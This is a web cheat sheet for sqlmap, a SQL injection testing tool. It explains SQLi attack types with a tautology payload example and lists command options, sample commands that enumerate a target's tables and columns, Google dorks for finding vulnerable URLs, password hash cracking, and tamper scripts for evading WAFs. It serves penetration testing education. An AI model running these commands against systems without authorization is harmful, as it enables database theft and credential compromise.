Sqlmap Cheat Sheet: Commands, Options, and Advanced Features

Sqlmap Cheat Sheet: Commands, Options, and Advanced Features

sqlmap is a penetration testing tool for SQL injection (SQLi). It automates the detection and exploitation of SQLi flaws and database server hijacking. This makes penetration testing much more efficient, but sqlmap’s vast documentation can make learning sqlmap a daunting task. A mini-reference would help you focus on essential commands.

On top of that, a bird’s-eye view of how you conduct your penetration tests helps you to prioritize your computing resources. It’s undesirable to drown in the technical minutiae trying to locate the right commands to issue.

This cheat sheet is the mini-reference for sqlmap learners of all stages, and it provides the bird’s-eye view you need to build your testing strategy. The latter is especially crucial when Google Dorking (mentioned below) as you must stay within query limits; redundant queries can cause your IP address to be blacklisted.

You may download the PDF version of this cheat sheet here.

System Requirements for Sqlmap

sqlmap runs on Python versions 2.6, 2.7, and 3 on Windows, macOS, and Linux.

From this point onward, we will simply use sqlmap to represent any of these choices:

  • python sqlmap.py
  • python3 sqlmap.py
  • py -2 sqlmap.py
  • py -3 sqlmap.py
  • (Kali Linux) sqlmap

Check that you have the correct Python versions installed in your command line console or terminal using sqlmap --version.

Install Sqlmap

Download sqlmap below:

  • tarball here;
  • zipball here.
  • cloning the Git repository:
    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

This is also the preferred method to upgrade sqlmap on Kali Linux.

The Git wiki has information for advanced sqlmap users.

Checking for SQLi Vulnerabilities

How to use sqlmap in the command line:

sqlmap [mandatory arguments and values required] [options and values where applicable]

Overview of SQLi Attacks

Categories of SQLi attacks include:

  • In-band
  • Out-of-band
  • Inferential (or Blind)
  • Compound

In-Band (or Classic) SQLi Attacks

In in-band attacks, the attacker can launch the attack and view results through the same channel (band), such as via a console shell or web application. The four most popular in-band injection techniques are error-based, union-based, stacked queries, and inline queries. (sqlmap option: --technique)

Error-based injections

Error messages displayed in the console or application leak information about the database configurations, structure, and data.

Union-based injections

Using UNION and associated keywords, the attacker combines the results from a legitimate query with those from an attack to extract data, such as by matching user data with location history.

Stacked queries (piggybacking)

The attacker sends multiple SQL statements joined by a semicolon in the same call to the database server to change the data within or manipulate the server.

Inline queries

Embedding partial SQL statements on the server-side backend makes the server vulnerable to SQLi via client-side input.

Out-of-Band SQLi Attacks

Out-of-band attacks obtain data using a channel (band) other than the one making the request. Examples include receiving an email containing query results and sending results to a different web server using a separate HTTP connection.

Inferential (or Blind) SQLi Attacks

These involve changing the database behavior to reconstruct information.

Boolean injections

This inferential attack involves Boolean expressions, such as tautologies. If you are visiting an e-commerce website, you might obtain a product page via the route /product/279, which translates to this query string in the backend:

SELECT * FROM products WHERE id='279';

But append a tautological statement to the route to get /product/279’%20or%201=1:

SELECT * FROM products WHERE id='279' OR 1=1;

Since 1=1 must evaluate to TRUE, you can see all products regardless of the limitations the vendor has placed on them, such as unannounced or out-of-stock inventory.

Time delay injections (time-based attacks)

This inferential attack leaves negligible traces of penetration on the database logs during the exploration of an unknown database. Such attacks depend on the database pausing for a fixed time before responding, and the injected time delay command differs across SQL languages.

If the database is not vulnerable to a time-based attack, the results will load quickly despite the time delay specified.

Compound SQLi Attacks

Compound SQLi attacks refer to SQLi attacks plus other cyberattacks, such as unauthorized access, distributed denial of service (DDoS), domain name server (DNS) hijacking, and cross-site scripting (XSS). The details of the other attacks are beyond the scope of this cheat sheet.

Sqlmap Options

Mandatory Arguments

At least one of the following is necessary for the sqlmap command to run:

Basic operationsDescription
-hBasic help
-hhAdvanced help
--versionShow sqlmap version number
-v VERBOSESet verbosity level where VERBOSE is an integer between 0 and 6 inclusive (default: 1)
--wizardSimple wizard interface for beginner users
--shellPrompt for an interactive sqlmap shell; inside the shell, omit sqlmap and enter options and arguments directly
--updateUpdate sqlmap to the latest version
--purgeSafely remove all content from sqlmap data directory
--list-tampersDisplay list of available tamper scripts
--dependenciesCheck for missing (optional) sqlmap dependencies
TargetDescription
-u URL
--url=URL
Specify target URL, preferably containing vulnerable query parameters
Example:
-u "http://www.site.com/vuln.php?id=1"
-g GOOGLEDORKProcess Google dork results as target URLs: you input as Google dorking queries, and you obtain URL results on which you run sqlmap.
GOOGLEDORK examples (\ to escape double quote “):
"inurl:\".php?id=1\""
'intext:csrq filetype:"pdf"'
Overusing this command leads to the following warning:
[CRITICAL] Google has detected 'unusual' traffic from used IP address disabling
further searches
-d DATABASE_STRINGSpecify connection string for direct database connection
DATABASE_STRING format:
• “rdbms://user:password@dbms_ip:dbms_port/database_name”
• “rdbms://database_filepath”
DATABASE_STRING examples:
"sqlite:///home/user/testdb"
'mysql://admin:999@127.0.0.1:3306/db1'
-m /path/to/BULKFILEScan multiple targets listed in textual file BULKFILE
Sample BULKFILE contents:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
-l /path/to/LOGFILEParse target(s) from Burp or WebScarab proxy log file LOGFILE
-r /path/to/REQUESTFILELoad HTTP request from textual file REQUESTFILE
Sample REQUESTFILE contents:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
-c CONFIGFILE.INILoad options from a configuration file (extension .INI), useful for complex attacks

General Options

Set general working parameters.

OptionDescription
--batchNever ask for user input, use the default behavior
--answersSet predefined answers: parameters are substring(s) of question prompt(s); join multiple answers with a comma. You may use this with --batch.
Usage: --answers="quit=N,follow=N"
--flush-sessionFlush session files for current target
--crawl=CRAWL_DEPTHCrawl (collect links of) the website starting from the target URL
--crawl-exclude=CRAWL_EXCLUDERegular expression to exclude pages from being crawled (e.g. --crawl-exclude="logout" to skip all pages containing the keyword “logout”)
--csv-del=CSVDELDelimiting character used in CSV output (default “,”)
--charset=CHARSETBlind SQLi charset (e.g. "0123456789abcdef")
--dump-format=DUMP_FORMATFormat of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCODINGCharacter encoding used for data retrieval (e.g. GBK)
--etaDisplay for each output the estimated time of arrival
--flush-sessionFlush session files for current target
--output-dir=OUTPUT_DIRCustom output directory path
--parse-errorsParse and display DBMS error messages from responses
--preprocess=SCRIPTUse given script(s) for preprocessing (request)
--postprocess=SCRIPTUse given script(s) for postprocessing (response)
--repairRedump entries having unknown character marker (denoted by “?” character)
--save=SAVECONFIGSave options to a configuration INI file
--scope=SCOPERegular expression for filtering targets
--skip-heuristicsSkip heuristic detection of vulnerabilities
--skip-wafSkip heuristic detection of WAF/IPS protection
--web-root=WEBROOTWeb server document root directory (e.g. "/var/www")

Request Options

Specify how to connect to the target URL.

OptionDescription
--data=DATAData string to be sent through POST (e.g. "id=1"
--cookie=COOKIEHTTP Cookie header value (e.g. "PHPSESSID=77uT7KkibWPPEkSPjBd9GJjPLGj; security=low")
--random-agentUse randomly selected HTTP User-Agent header value
--proxy=PROXYUse a proxy to connect to the target URL
--torUse Tor anonymity network
--check-torCheck to see if Tor is used properly

Optimization Options

Optimize the performance of sqlmap.

OptionDescription
-oTurn on all optimization switches
--predict-outputPredict common queries output
--keep-aliveUse persistent HTTP(s) connections
--null-connectionRetrieve page length without actual HTTP response body
--threads=THREADSMaximum number of concurrent HTTP(s) requests (default 1)

Injection Options

Specify the parameters to test against, custom injection payloads, and optional tampering scripts.

OptionDescription
-p TESTPARAMETERTestable parameter(s) (e.g. -p "id,user-agent")
--skip=SKIPSkip testing for given parameter(s) (e.g. –-skip="referer")
--skip-staticSkip testing parameters that do not appear to be dynamic
--param-exclude=PARAM_EXCLUDERegular expression to exclude parameters PARAM_EXCLUDE from testing (e.g. exclude a session parameter “ses“)
--param-filter=PARAM_FILTERSelect testable parameter(s) PARAM_FILTER by place (e.g. “POST“)
--dbms=DBMSForce back-end DBMS to use the given
--dbms-cred=DBMS_CREDSDBMS authentication credentials DBMS_CREDS of the format “user:password
--os=OSForce back-end DBMS operating system to the value of OS
--invalid-bignumUse big numbers for invalidating values
--invalid-logicalUse logical operations for invalidating values
--invalid-stringUse random strings for invalidating values
--no-castTurn off payload casting mechanism
--no-escapeTurn off string escaping mechanism
--prefix=PREFIXInjection payload prefix string PREFIX
--suffix=SUFFIXInjection payload suffix string SUFFIX
--tamper=TAMPERUse given script(s) TAMPER for tampering injection data

Customize the detection phase of the SQL attack scan.

OptionDescription
--level=LEVELLevel of tests to perform (LEVEL takes integers 1-5, default 1)
--risk=RISKRisk of tests to perform (RISK takes integers 1-3, default 1)
--string=STRINGString to match when query returns True
--not-string=NOT_STRINGString to match when query returns False
--regexp=REGEXPRegular expression to match when query returns True
--code=CODEHTTP code to match when query returns True
--smartPerform thorough tests only if positive heuristic(s)
--text-onlyCompare pages based only on the textual content
--titlesCompare pages based only on their titles

Techniques Options

Tweak testing of specific SQLi techniques.

OptionDescription
--technique=TECHNIQUESQLi techniques to use (default “BEUSTQ” explained below)
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries
--time-sec=TIMESECSeconds to delay the DBMS response (default 5)
--union-cols=UCOLSRange of columns to test for UNION query SQLi
--union-char=UCHARCharacter to use to guess the number of columns by brute force
--union-from=UFROMTable to use in FROM part of UNION query SQLi
--dns-domain=DNSDOMAINDomain name used for DNS exfiltration attack
--second-url=SECONDURLResulting page URL searched for second-order response
--second-req=SECONDREQLoad second-order HTTP request from file

Fingerprint Option

Assess a database before attacking it.

OptionDescription
-f, --fingerprintPerform an extensive DBMS version fingerprint

Running a SQLi Attack Scan with Sqlmap

Three basic steps underlie a SQLi attack scan:

  1. Conduct reconnaissance on a database using mandatory target arguments and fingerprinting.
  2. Discover potential vulnerabilities by enumerating the database contents.
  3. Run tests of different SQLi attacks to determine the extent of these vulnerabilities.

Repeat steps 2-3 to your satisfaction.

Get a List of Databases on Your System and Their Tables

Use enumeration options to scan SQL databases. To get a list of databases on your system, use --dbs. For the tables and their schema, use --tables, --schema, and --columns.

Below is an example of exploiting a vulnerability in the id parameter in a given cookie session to return the database tables (--tables) using default answers to prompts (--batch):

sqlmap -u "http://sometestdb.to/view?id=123&Submit=Submit#" --cookie="PHPSESSID=e3f9231953973ace4acb63cfde2ccc08; security=low" --tables --batch

To narrow down the exploit to the users column, use the --columns option followed by -T and the desired table name:

sqlmap -u "http://sometestdb.to/view?id=123&Submit=Submit#" --cookie="PHPSESSID=e3f9231953973ace4acb63cfde2ccc08; security=low" --columns -T users --batch

Enumeration Options

These options can be used to enumerate the configuration information, structure and data contained in the tables of the target database management system.

OptionDescription
-a, --allRetrieve everything
-b, --bannerRetrieve DBMS banner
--current-userRetrieve DBMS current user
--current-dbRetrieve DBMS current database
--dbsEnumerate DBMS databases
--exclude-sysdbsExclude DBMS system databases when enumerating tables
--usersEnumerate DBMS users
--passwordsEnumerate DBMS users password hashes
--tablesEnumerate DBMS database tables
--columnsEnumerate DBMS database table columns
--schemaEnumerate DBMS schema
--countRetrieve number of entries for table(s)
--dumpDump (output) DBMS database table entries
--dump-allDump all DBMS databases tables entries
-D DBDBMS database to enumerate
-T TBLDBMS database table(s) to enumerate
-C COLDBMS database table column(s) to enumerate
-X EXCLUDEDBMS database identifier(s) to not enumerate
-U USERDBMS user to enumerate

Brute Force Options

Guess whether the database contains common names for tables, columns, and files.

OptionDescription
--common-tablesCheck existence of common tables
--common-columnsCheck existence of common columns
--common-filesCheck existence of common files

Password Cracking with Sqlmap

Straightforward Method

This requires read permissions on the target database. In this case, you could enumerate the password hashes for each user with the --passwords option. sqlmap will first enumerate the users, then attempt to crack the password hashes.

Indirect Method

If your target database is sufficiently vulnerable, you can look for a table containing user data (e.g., users) because passwords likely reside there.

Once sqlmap discovers a column of passwords, it will prompt you for permission to crack the passwords, followed by a prompt on whether or not to crack them via a dictionary-based attack. If the passwords are sufficiently insecure, a “Y” to both prompts will yield meaningful output passwords.

Sqlmap’s Source Code Structure and How to Navigate It

View the source code of sqlmap here on GitHub. Click here for a high-resolution version of the diagram.

sqlmap source code

Important and Useful Sqlmap Directories

You may customize your sqlmap experience by adding or editing files in the following directories. GitHub links refer to directories found in the sqlmap source code.

DirectoryContents
/sqlmap.confDefault values for all options which require defaults to function. The value(s) stated in terminal-issued commands takes precedence over the value(s) in this .conf file.
/data/xml/payloadsSQLi payloads, deployed according to the user’s values of --level and --risk
/data/txtText strings used for guessing column names and passwords (dictionary-based attacks)
/tamperTamper scripts
/output/Results from sqlmap commands returning database values such as --dump.
If you use Kali Linux, this directory is at /home/kali/.local/share/sqlmap/output/.
Otherwise, the sqlmap terminal output will specify this location in an [INFO] message.
/history/History of commands issued in a sqlmap shell (--shell).
If you use Kali Linux, this directory is at
/home/kali/.local/share/sqlmap/history.

Test –levels and Their Impact on Your Commands

Check your database against particular SQLi attacks by setting test --level values to dictate the volume of tests to perform and the degree of feedback from sqlmap.

--level valuesDescription
1 (default)A limited number of tests/requests: GET and POST parameters will be tested by default
2Test cookies (HTTP cookie header values)
3Test cookies plus HTTP User-Agent/Referer headers’ values
4As above, plus null values in parameters and other bugs
5An extensive list of tests with an input file for payloads and boundaries

sqlmap SQLi payloads are usually harmless, but if you want to test your database to breaking point, --risk is the option to use:

--risk valuesDescription
1 (default)Data remain unchanged and database remains operable
2Include heavy query time-based SQLi attacks, which may slow down or take down the database
3As above, plus OR-based SQLi tests, the payload of which may update all entries of a table and cause havoc in production environments.

Verbosity Levels

These integer levels (0-6) are for troubleshooting and to see what sqlmap is doing under the hood.

Verbosity levelDescription
0Show only Python tracebacks, error, and critical messages
1 (default)Show also information and warning messages
2Show also debug messages
3Show also payloads injected
4Show also HTTP requests
5Show also HTTP responses’ headers
6Show also HTTP responses’ page content

Tamper Scripts and Their Actions

Tamper scripts are for bypassing security controls, such as Web Application Firewalls (WAFs) and Intrusion Prevention Systems. There are at least 60 scripts by default, but you can add custom ones.

Useful tamper script commands:

OptionDescription
--list-tampersList all tamper scripts in the sqlmap directory
--tamper=TAMPERSInvoke tamper script(s) TAMPERS of your choice
Examples:
--tamper="random,appendnullbyte,between,base64encode
"--tamper="/path/to/custom/tamper_script.py"

Default tamper script actions fall into four categories:

ActionTamper script(s) as of sqlmap version 1.6.8.1#dev
Replacement0eunion, apostrophemask, apostrophenullencode, between, bluecoat, commalesslimit, commalessmid, concat2concatws, dunion, equaltolike, equaltorlike, greatest, hex2char, ifnull2casewhenisnull, ifnull2ifisnull, least, lowercase, misunion, ord2ascii, plus2concat, plus2fnconcat, randomcase, sleep2getlock, space2comment, space2dash, space2hash, space2morecomment, space2morehash, space2mssqlblank, space2mssqlhash, space2mysqlblank, space2mysqldash, space2plus, space2randomblank, substring2leftright, symboliclogical, unionalltounion, unmagicquotes, uppercase
Additionhalfversionedmorekeywords, informationschemacomment, multiplespaces, percentage, randomcomments, appendnullbyte, sp_password, varnish, xforwardedfor
Obfuscationbase64encode, binary, chardoubleencode, charencode, charunicodeencode, charunicodeescape, commentbeforeparentheses, escapequotes, htmlencode,modsecurityversioned, modsecurityzeroversioned, overlongutf8, overlongutf8more, schemasplit, versionedkeywords, versionedmorekeywords
Bypassluanginx (UA-Nginx WAFs Bypass (e.g. Cloudflare))

We hope this sqlmap cheat sheet makes sqlmap a more enjoyable experience for you. To download a PDF version of this sqlmap cheat sheet, click here.

Frequently Asked Questions

CATEGORIES
>